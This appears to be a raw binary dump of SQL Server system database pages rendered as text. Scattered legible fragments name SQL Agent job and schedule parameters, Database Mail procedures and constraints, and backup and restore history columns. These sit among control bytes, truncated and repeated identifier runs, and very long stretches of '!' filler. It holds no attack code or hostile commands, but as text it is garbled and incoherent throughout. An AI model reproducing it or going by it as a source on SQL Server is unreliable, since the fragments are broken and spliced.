6@active_start_time6TȚH2@active_end_time6TȚH*@schedule_id6TȚH0@automatic_post6TȚH,@schedule_uid6I @job_id6I$@job_name6I@name6I$@new_name6I"@enabled6I&@freq_type6I.@freq_interval6I4@freq_subday_type6I	<@freq_subday_interval6I
@@freq_relative_interval6I@@freq_recurrence_factor6I6@active_start_date6I
2@active_end_date6I6@active_start_time6I2@active_end_time6I0@automatic_post6J @job_id6J$@job_name6J@name6J.@keep_schedule6J0@automatic_post64wK*@schedule_id64wK.@schedule_name64wKB@attached_schedules_only64wK:@include_description6u}Flog_id6u}F&event_type6u}F"log_date6u}F(description6u}F&process_id6u}F(mailitem_id6u}F&account_id6u}F,last_mod_date6u}F	,last_mod_user6qG.@logged_before6qG(@event_type6*eHuid6*eH$text_data6*eH(create_date6*BK(transfer_id6*BKuid6*BK"filename6*BK"filesize6*BK&attachment6*BK(create_date60H,backup_set_id60H8first_family_number60H6first_media_number60H.filegroup_name60H$page_size60H(file_number60H:backed_up_page_count60H$file_type60H	>source_file_block_size60H
$file_size60H*logical_name60H.physical_drive60H
,physical_name60Hstate60H&state_desc60H&create_lsn60H"drop_lsn60H$file_guid60H,read_only_lsn60H.read_write_lsn60H<differential_base_lsn60H>differential_base_guid60H(backup_size60H.filegroup_guid60H(is_readonly60H&is_present6 
K6restore_history_id6 
K*restore_date6 
KDdestination_database_name6 
K$user_name6 
K,backup_set_id6 
K*restore_type6 
K replace6 
K"recovery6 
K	 restart6 
K
 stop_at6 
K*device_count6 
K4stop_at_mark_name6 
K
(stop_before6daF6@collection_set_id6G6@collection_set_id6G@mode6G$@operator6G @log_id6֩G @log_id6H.@parent_log_id6H(@package_id6H<@package_execution_id6H8@collection_item_id6H@mode6H$@operator6H @log_id6HI @log_id6J @log_id6s{F8target_set_level_id6s{F,target_set_id6s{F,type_skeleton6s{F*condition_id6s{F&level_name6WJ8target_set_level_id6WJ,target_set_id6WJ,type_skeleton6WJ*condition_id6WJ&level_name60K.@object_set_id60K2@object_set_name60K.@type_skeleton60K@type60K"@enabled60K.@target_set_id6G(@proxy_name6G2@credential_name6G2@network_account6G$@password6X\G:server_instance_name6X\G,database_name6X\G8over_utilized_count4pfD ^
>FBjhlPvf:4\:b6`*"dH\xʆyv&sysjobs&LPK__syssched__C46A8A6F9F7D6ED0&V8sp_help_targetserver&0sysnotifications&LDF__sysmail_s__is_in__16CE6296&fsp_syscollector_set_warehouse_database_name&2FK_subplan_job_id&Vsp_update_replication_job_parameter&LUQ__sysorigi__D65E569C8D13047D&LPK_syspolicy_policy_categories&Bsp_sysdac_update_instance&Psysutility_mi_smo_stage_internal&LDF__sysutilit__datab__3943762B&hPK_sysutility_mi_session_statistics_internal&`LDF__sysutilit__proce__55AAAAAF&aDsp_syspolicy_update_policy&bTfn_syspolicy_is_automation_enabled&c4sp_delete_category&d<sp_MSexecwithlsnoutput&e,sp_bindsession&f"sp_rename&gBsp_helptracertokenhistory&Fsp_MSremoveoffloadparameter&Ddm_pdw_nodes_exec_requests&>sp_upgrade_log_shipping&bsp_MSclearresetpartialsnapshotprogressbit&Xsp_enable_heterogeneous_subscription&Jsp_MShelpconflictpublications&2fn_PhysLocCracker&>dm_exec_text_query_plan&Hsp_MSstartdistribution_agent&	2sp_columns_ex_100&
Dsp_MSadd_repl_commands27hp&2sp_setuserbylogin&Nsp_help_fulltext_columns_cursor&
,sp_MSdropretry&Jsp_add_log_shipping_alert_job&fdm_resource_governor_resource_pool_affinity& ,sysscalartypes&!Vcolumn_xml_schema_collection_usages&"6partition_functions!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
4	v:n	f	d	*
8
xRl":V>`
U"B	&(Csysjobs&eE&sysjobs_view&X,sysjobschedules&AD(sysjobservers&)?K$sysjobsteps&bcL,sysjobstepslogs&w!,sysmail_profile&EJSYSMAIL_PROFILE_IDMustBeUnique&iNSYSMAIL_PROFILE_NameMustBeUnique&֣>sysmail_principalprofile&xSYSMAIL_PRINCIPALPROFILE_ProfilePrincipalMustBeUnique&\,sysmail_account&#PJSYSMAIL_ACCOUNT_IDMustBeUnique&\D
NSYSMAIL_ACCOUNT_NameMustBeUnique&e!:sysmail_profileaccount&@bSYSMAIL_ACCOUNT_ProfileAccountMustBeUnique&$2sysmail_servertype&]>TSYSMAIL_SERVERTYPE_TypeMustBeUnique&z*sysmail_server&hSYSMAIL_ACCOUNT_AccountServerTypeMustBeUnique&]($8sysmail_configuration&%dSYSMAIL_CONFIGURATION_ParamnameMustBeUnique&'0sysmail_mailitems&(Psysmail_mailitems_id_MustBeUnique&'.bsysmail_OutMailMustHaveAtleastOneRecipient&`/Xsysmail_OutMailRecipientCannotBeEmpty&40fsysmail_OutMailAttachmentEncodingMustBeValid&X1Vsysmail_OutMailImportanceMustBeValid&}v2Xsysmail_OutMailSensitivityMustBeValid&Dj3.sysmail_allitems&}^40sysmail_sentitems&R54sysmail_unsentitems&
G64sysmail_faileditems&(2;7Dsysmail_delete_mailitems_sp&aV/84sysmail_attachments&E;<sysmail_mailattachments&~<6sysmail_send_retries&A$sysmail_log&BDsysmail_log_id_MustBeUnique&u}F0sysmail_event_log&qG8sysmail_delete_log_sp&*eH:sysmail_query_transfer&*BKFsysmail_attachments_transfer&,JYLsysmail_verify_accountparams_sp&enZLsysmail_verify_addressparams_sp&x[Dsysmail_verify_principal_sp&׶l\@sysmail_verify_profile_sp&`]@sysmail_verify_account_sp&IT^:sysmail_add_profile_sp&#I_@sysmail_update_profile_sp&G=`@sysmail_delete_profile_sp&k1a<sysmail_help_profile_sp&-%bPsysmail_create_user_credential_sp&fcNsysmail_alter_user_credential_sp&
dLsysmail_drop_user_credential_sp&e:sysmail_add_account_sp&!e@sysmail_update_account_sp&JEf@sysmail_delete_account_sp&ig<sysmail_help_account_sp&hHsysmail_help_admin_account_sp&iHsysmail_add_profileaccount_sp&.ֺjNsysmail_update_profileaccount_sp&gkNsysmail_delete_profileaccount_sp&lJsysmail_help_profileaccount_sp&Bm6sysmail_configure_sp&gn@sysmail_help_configure_sp&KoLsysmail_help_configure_value_sp&spLsysmail_add_principalprofile_sp&gqRsysmail_update_principalprofile_sp&[rRsysmail_delete_principalprofile_sp&/PsNsysmail_help_principalprofile_sp&h@Dt<sysmail_logmailevent_sp&d8u.sysmail_start_sp&ڈ,v,sysmail_stop_sp& w:sysmail_help_status_sp&Lx8sysmail_help_queue_sp&N]?	8sysmaintplan_subplans&Z.sysmaintplan_log&:sysmaintplan_logdetail&!Jo2sysmaintplan_plans&edsysmanagement_shared_server_groups_internal&\insysmanagement_delete_shared_server_group_trigger&Pjnsysmanagement_shared_registered_servers_internal&R!nRsysmanagement_shared_server_groups&vo\sysmanagement_shared_registered_serversailitems_id_MustBeUnique&'.bsysmail_OutMailMustHaveAtleastOneRecipient&`/Xsysmail_OutMailRecipientCannotBeEmpty&40fsysmail_OutMailAttachmentEncodingMustBeValid&X1Vsysmail_OutMailImportanceMustBeValid&}v2Xsysmail_OutMailSensitivityMustBeValid&Dj3.sysmail_allitems&}^40sysmail_sentitems&R54sysmail_unsentitems&
G64sysmail_faileditems&(2;7Dsysmail_delete_mailitems_sp&aV/84sysmail_attachments&E;<sysmail_mailattachments&~<6sysmail_send_retries&A$sysmail_log&BDsysmail_log_id_MustBeUnique&u}F0sysmail_event_log&qG8sysmail_delete_log_sp&*eH:sysmail_query_transfer&*BKFsysmail_attachments_transfer&N6trig_sysmail_profile&O8trig_principalprofile&P6trig_sysmail_account&+PDtrig_sysmail_profileaccount&d(QDtrig_sysmail_profile_delete&LR<trig_sysmail_servertype&pS4trig_sysmail_server&TBtrig_sysmail_configuration&HU:trig_sysmail_mailitems&ݳV>trig_sysmail_attachments&W.trig_sysmail_log&,JYLsysmail_verify_accountparams_sp&enZLsysmail_verify_addressparams_sp&x[Dsysmail_verify_principal_sp&׶l\@sysmail_verify_profile_sp&`]@sysmail_verv6r8
n">4R P	
rFH
Tt`			`8
|@T:
2*j
t
p8
,	
"~^6|`*"VV\#ux&Bqueue_messages_2041058307&
*syscategories&W*sp_msx_defect&LDF__sysmail_s__is_in__16CE6296&,sysmail_server&8tFK_syscollector_collection_sets_collection_sysjobs&HFsp_syscollector_create_jobs&I`sp_sysmanagement_add_shared_server_group&J,sysremsvcbinds&KTfn_syspolicy_is_automation_enabled&L>syn_sysutility_ucp_dacs&MXsp_syspolicy_update_target_set_level&NLDF__sysutilit__l2_ca__69E6AD86&OPsysutility_ucp_policy_violations&PLPK__sysssisl__3213E83F87E3C375&QFsp_enum_sqlagent_subsystems&RNsp_maintplan_update_subplan_tsx&S&dm_os_hosts&T>sp_MSgetlastupdatedtime&UNsp_sysutility_ucp_update_policy&VHsp_check_constraints_rowset2&WJsp_MSreleasemergeadminapplock&Hsp_MSdrop_distribution_agent&4sp_help_jobsteplog&.sp_RunMailQuery&<dm_server_memory_dumps&Tdm_cryptographic_provider_sessions&bsp_MSchange_distribution_agent_properties&0sp_articlefilter&:sp_delete_jobschedule&:sp_MSisreplmergeagent&6sp_MSsendtosqlqueue&>sp_MSenumpartialchanges&Dsp_helpreplicationdboption&Bsp_registercustomresolver&Jdm_pdw_nodes_os_cluster_nodes&Bsp_updateextendedproperty&Hlog_shipping_monitor_primary&(jUQ_syscollector_collection_sets_internal_name&)LDF__syscached__has_s__68487DD7&*(syslanguages!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!